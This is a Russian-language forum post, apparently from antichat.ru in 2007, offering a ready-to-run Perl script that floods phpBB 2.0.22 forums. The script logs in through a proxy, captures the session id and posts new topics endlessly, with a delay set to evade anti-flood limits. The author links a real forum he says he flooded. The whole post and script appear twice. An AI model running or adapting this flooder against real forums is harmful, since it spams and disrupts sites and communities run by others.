C!klodoL
08.09.2007, 06:37
выкладываю флудер форума phpBB, тестировался на версии 2.0.22, результат испытаний вы можете наблюдать тут: nod*evice*.ru/*forum/*viewfo*rum.php?*f=*9*7 , * из ссылки естественно убрать
#!/usr/bin/perl
# phpBB2 флудер, тестировался на phpBB 2.0.22
# C!klodoL
# специально для antichat.ru
use strict;
use warnings;
use LWP::UserAgent;
use HTTP::Cookies;
my $forumurl = 'http://www.site.ru/forum/'; #путь к форуму
my $proxy = 'localhost:4001'; #прокси
my $forumnum = 97; #номер форума
my $username = 'Хэккер'; #ник от форума
my $password = 'P@$$w0rD'; #пароль
my $delay = 30; #антифлуд задержка
my $subject = 'Превед!!!'; #тема топика
my $message = 'Это не флуд =)))))))))))))))))))))))'; #текст сообщения
my $useragent = LWP::UserAgent->new;
my $cookies = HTTP::Cookies->new;
$useragent->cookie_jar($cookies);
if ($proxy)
{
$useragent->proxy('http', "http://$proxy");
}
my $request = $useragent->post($forumurl.'login.php',
{username => $username,
password => $password,
redirect => '',
login => 'Log+in'})->as_string;
my ($sid) = $request =~ /index\.php\?sid=(.*)/;
print "[+] Get sid $sid\n";
if ($request =~ / 302 /)
{
print "[+] Login successful, flooding...\n";
}
else
{
print "[-] Cant logining\n";
exit;
}
my $counter = 1;
while (1)
{
$request = $useragent->post($forumurl.'posting.php',
{subject => $subject,
message => $message,
mode => 'newtopic',
sid => $sid,
f => $forumnum,
post => 'Submit'});
print "[+] Posting topic..".$counter++."\n";
sleep ($delay);
}
P.S. Флуд это плохо и им занимаются только дети.
#!/usr/bin/perl
# phpBB2 флудер, тестировался на phpBB 2.0.22
# C!klodoL
# специально для antichat.ru
use strict;
use warnings;
use LWP::UserAgent;
use HTTP::Cookies;
my $forumurl = 'http://www.site.ru/forum/'; #путь к форуму
my $proxy = 'localhost:4001'; #прокси
my $forumnum = 97; #номер форума
my $username = 'Хэккер'; #ник от форума
my $password = 'P@$$w0rD'; #пароль
my $delay = 30; #антифлуд задержка
my $subject = 'Превед!!!'; #тема топика
my $message = 'Это не флуд =)))))))))))))))))))))))'; #текст сообщения
my $useragent = LWP::UserAgent->new;
my $cookies = HTTP::Cookies->new;
$useragent->cookie_jar($cookies);
if ($proxy)
{
$useragent->proxy('http', "http://$proxy");
}
my $request = $useragent->post($forumurl.'login.php',
{username => $username,
password => $password,
redirect => '',
login => 'Log+in'})->as_string;
my ($sid) = $request =~ /index\.php\?sid=(.*)/;
print "[+] Get sid $sid\n";
if ($request =~ / 302 /)
{
print "[+] Login successful, flooding...\n";
}
else
{
print "[-] Cant logining\n";
exit;
}
my $counter = 1;
while (1)
{
$request = $useragent->post($forumurl.'posting.php',
{subject => $subject,
message => $message,
mode => 'newtopic',
sid => $sid,
f => $forumnum,
post => 'Submit'});
print "[+] Posting topic..".$counter++."\n";
sleep ($delay);
}
P.S. Флуд это плохо и им занимаются только дети.